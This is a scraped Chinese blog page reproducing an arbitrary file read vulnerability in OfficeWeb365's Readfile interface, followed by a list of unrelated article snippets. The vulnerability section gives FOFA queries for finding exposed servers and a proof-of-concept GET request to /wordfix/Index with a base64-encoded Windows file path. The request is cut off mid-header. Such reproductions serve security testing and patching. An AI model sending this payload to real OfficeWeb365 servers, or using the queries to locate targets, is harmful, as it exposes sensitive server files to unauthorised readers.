OfficeWeb365 Readfile 任意文件读取漏洞复现
0x01 产品简介
OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务，包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览，WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。
0x02 漏洞概述
OfficeWeb365 Readfile 接口处存在任意文件读取漏洞，攻击者可通过此漏洞对payload进行base64编码，读取任意文件，获取服务器敏感信息，使系统处于极不安全的状态。
0x03 复现环境
FOFA：
body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"
0x04 漏洞复现
PoC
GET /wordfix/Index?f=YzovV2luZG93cy93aW4uaW5p HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicat相关文章：
OfficeWeb365 Readfile 任意文件读取漏洞复现
0x01 产品简介 OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务，包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览，WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。 0x02 漏洞概述 OfficeWeb365 Rea…...
UnityShader（十三）Unity内置的函数
在计算光照模型时我们需要得到许多数据，比如光源方向、视角方向这种基本信息。 在之前的例子中都是自行在代码里计算的，比如： normalize(_WorldSpaceLight0Pos.xyz) 得到光源方向（这种方法实际只适用平行光） normaliz…...
【开源】基于Qt5的ROS1/ROS2人机交互软件(支持地图编辑/多点导航)
本项目基于Qt5开发，基于CMake进行构建，可以实现一套代码同时在ROS1/ROS2系统中使用(本项目已接入CI,保证多ROS版本/系统版本可用性) 项目地址： https://github.com/chengyangkj/Ros_Qt5_Gui_App 软件在编译时会自动识别环境变量中的ROS1/ROS…...
Spring和SpringBoot的区别是什么
Spring 和 Spring Boot 是 Java 开发领域内两个极其重要且紧密相关的框架，它们各自在企业级应用开发中扮演着不同的角色，并带来了一系列革新性的变化。以下是关于两者之间主要区别的详细分析： 一、设计理念与定位 Spring Framework Spring 是…...
布局技巧及CSS初始化
一，margin负值巧妙应用 二，文字围绕浮动元素 三，行内块 四，CSS三角强化 五，CSS初始化 一，margin负值巧妙应用 制作盒子的细线边框： 鼠标经过li后变色： 二，文字围绕…...
excel怎么设置密码？轻松保护您的工作表
在数字化时代，数据的安全性显得尤为重要。excel作为我们日常工作中广泛使用的办公软件，其中可能包含了大量的敏感数据。为了确保这些数据不被未授权的人访问，本文将为您详细介绍excel怎么设置密码，从而有效地保护您的数据安全。 方…...
鸿蒙（HarmonyOS）项目方舟框架（ArkUI）之TimePicker组件
鸿蒙（HarmonyOS）项目方舟框架（ArkUI）之TimePicker组件 一、操作环境 操作系统: Windows 10 专业版、IDE:DevEco Studio 3.1、SDK:HarmonyOS 3.1 二、TimePicker组件 TextClock组件通过文本将当前系统时间显示在设备上。支持不…...
Springboot集成Camunda并完成一条流程实例
💖专栏简介 ✔️本专栏将从Camunda(卡蒙达) 7中的关键概念到实现中国式工作流相关功能。 ✔️文章中只包含演示核心代码及测试数据，完整代码可查看作者的开源项目snail-camunda ✔️请给snail-camunda 点颗星吧😘 💖设计流程定…...
宠物用品/宠物自动饮水机方案
宠物自动饮水机方案原理 宠物自动饮水机，也叫做智能宠物饮水机，是一种为宠物设计的智能化饮水器。应用核心主要在于智能化水泵控制，以及外围传感器电路。 宠物自动饮水机使用方便，不用频繁的换水。另外，自来水的水质可…...
git小白进阶之路
git是最常用的版本控制工具，我对其进行了整理后续补充，这个文档欢迎大家来讨论，当前我的视频梳理： git小白进阶之路_哔哩哔哩_bilibili，非常希望大佬们能够批评指正，并多多交流。 目录 初始配置 配置账号…...
哈希表——C++
目录 一、首先使用拉链法： 二、开放寻址法 三、字符串哈希 1.具体如何使用进制的方式来存储字符前缀的可以看这个y总的这个图 2.接下来说一说算某个中间的区间的字符串哈希值 哈希表是一种数组之间互相映射的数据结构，比如举个简单的例子一个十个的数…...
LabVIEW叶片厚度远程监控
LabVIEW叶片厚度远程监控 随着网络技术的高速发展，远程监控广泛应用在各个领域。本文介绍了一种基于LabVIEW的植物叶片厚度远程监控系统，旨在实现对植物生长状况的精准监测和分析。 该系统利用LabVIEW软件开发工具，通过TCP网络协议实现数据…...
el-table动态合并
废话就不多说了，直接上代码！！！ 合并行 // 方法一 <template><div class"container"><el-table :data"dataSource" :border"true":header-cell-style"{ font-weight: normal,…...
【DevOps】产品需求文档（PRD）与常见原型软件
文章目录 1、PRD介绍1.1、概述1.2、前提条件1.3、主要目的1.4、关键内容1.5、表述方式1.6、需求评审人员1.7、一般内容结构 2、需求流程3、常见原型软件3.1、Word3.2、Axure3.2.1、详细介绍3.2.2、应用分类3.2.3、优缺点 3.3、摹客RP3.4、蓝湖3.5、GUI Design Studio 1、PRD介绍…...
【QT+QGIS跨平台编译】之十八：【Expat+Qt跨平台编译】（一套代码、一套框架，跨平台编译）
文章目录 一、Expat介绍二、文件下载三、文件分析四、pro文件五、编译实践一、Expat介绍 Expat库最初由James Clark创建，已经成为许多编程语言中常用的XML解析工具。它以其简单、快速和可靠的特点而受到广泛的认可和使用。 Expat库的优点包括： 快速：Expat的解析速度非常快…...
20240203
1.项目经理正在为新项目制订进度计划，项目的成功取决于使用需要政府颁发特殊环境许可证的设备，在网络图的设计过程中，项目经理应该做什么以确保正确的活动排序？ A.使用滚动式规划考虑项目不确定性 B.分析外部依赖关系，…...
【Spark实践6】特征转换FeatureTransformers实践Scala版--补充算子
本节介绍了用于处理特征的算法，大致可以分为以下几组： 提取（Extraction）：从“原始”数据中提取特征。转换（Transformation）：缩放、转换或修改特征。选择（Selection&…...
【知识点】设计模式
创建型 单例模式 Singleton：确保一个类只有一个实例，并提供该实例的全局访问点 使用一个私有构造方法、一个私有静态变量以及一个公有静态方法来实现。私有构造方法确保了不能通过构造方法来创建对象实例，只能通过公有静态方法返回唯一的私…...
WPS WORD 宏导出高亮文本
WPS手机版可以直接导出高亮文本，但只能导出手机编辑的部分，如果同时在电脑上编辑过，电脑上高亮的无法导出，因为作者不一样。 但WPS电脑版没有这个功能，只能通过宏编程实现。 这里利用了审阅模式，在文字高亮…...
python 基础知识点（蓝桥杯python科目个人复习计划32）
今日复习内容：基础算法中的位运算 1.简介 位运算就是对二进制进行操作的运算方式，分为与运算，或运算，异或运算，取反，左移和右移。 （1）与运算 xyx&y000010100111 (2)或运算 …...
Oracle 26ai新特性：时区、表空间、审计方面的新特性
Oracle 26ai新特性：时区、表空间、审计方面的新特性 1. SYSDATE 和 SYSTIMESTAMP 支持 PDB 级时区 变更内容：SYSDATE 和 SYSTIMESTAMP 现在可以按每个 PDB（可插拔数据库）单独设置时区，而不是继承操作系统时区。 -- 26a…...
Dell R730xd老将焕新记：保姆级教程搞定ESXi 8.0u3d，附网卡驱动避坑指南
Dell R730xd服务器升级ESXi 8.0u3d全流程实战指南 当企业IT基础设施进入更新周期，许多运维团队都会面临一个现实问题：那些曾经稳定服役多年的服务器硬件，是否还能适配最新的虚拟化平台？以Dell PowerEdge R730xd这款经典2U服务器为…...
别再手动传文档了！Unity+Coze知识库自动上传与进度监控全攻略
UnityCoze知识库自动化上传与进度监控实战指南 在游戏开发中，剧情文本、设定文档等资源的管理往往需要频繁更新和版本控制。传统的手动上传方式不仅效率低下，还容易出错。本文将带你构建一个完整的自动化解决方案，实现从Unity到Coze知识库的…...
第三部分：第3章_OpenStack所需RabbitMQ消息队列安装并配置
第三部分：第3章_OpenStack所需RabbitMQ消息队列安装并配置 //控制节点执行，本案例中node1节点// 3.1、安装并配置RabbitMQ消息队列服务 [root@openstack ~]# yum install -y rabbitmq-server[root@openstack ~]# systemctl enable rabbitmq-server.service [root@openstac…...
OpenClaw硬件加速：在NVIDIA显卡上优化Kimi-VL-A3B-Thinking推理速度
OpenClaw硬件加速：在NVIDIA显卡上优化Kimi-VL-A3B-Thinking推理速度 1. 从CPU到GPU的性能跃迁之旅 去年冬天，当我第一次在本地部署Kimi-VL-A3B-Thinking模型时，那个漫长的等待过程至今记忆犹新。一个简单的图文问答任务，在16核C…...
PyTorch 2.8深度学习镜像部署：RTX 4090D下NVIDIA Triton模型仓库构建
PyTorch 2.8深度学习镜像部署：RTX 4090D下NVIDIA Triton模型仓库构建 1. 镜像环境概述 PyTorch 2.8深度学习镜像为RTX 4090D显卡量身打造，基于CUDA 12.4深度优化，提供开箱即用的高性能计算环境。这个镜像特别适合需要大规模并行计算和高效内…...
项目环境的搭建，项目的初步使用和deepseek的初步认识
1.环境搭建这个项目使用的是字节旗下的trae开发环境项目开始前首先得连接远程终端，要么是虚拟机要么是云服务器从远端克隆完头文件后再到本地来编译 编译完成后要将编译好的库文件以及头文件进行安装 安装到系统的根目录 这样以后用可以找到这样用到的头文件就拷贝…...
实时手机检测-通用部署案例：中小企业监控场景中手机识别落地解析
实时手机检测-通用部署案例：中小企业监控场景中手机识别落地解析 1. 项目背景与价值 在现代企业管理中，手机使用管理一直是令人头疼的问题。特别是在生产车间、会议室、考场等场所，员工或学生违规使用手机不仅影响工作效率，还可…...
入门python小工具（2）之生成简单照片墙
工具功能：在背景板中按照选择格式粘贴照片形成有规则形状的照片墙。如图使用介绍： 需要自行准备好背景图片、粘贴入墙的照片和粘贴黑白格式图片（上图的格式图片为梅花）。按照运行时的输入提示输入文件路径即可。源代码：…...
别让格式毁掉你的毕业论文！Paperxie AI 排版：3 分钟复刻学校官方标准
paperxie-免费查重复率aigc检测/开题报告/毕业论文/智能排版/文献综述/AIPPThttps://www.paperxie.cn/format/typesettinghttps://www.paperxie.cn/format/typesetting 一、 本科生的痛：论文写完了，格式却能逼疯人 毕业论文的终极考验，从来都…...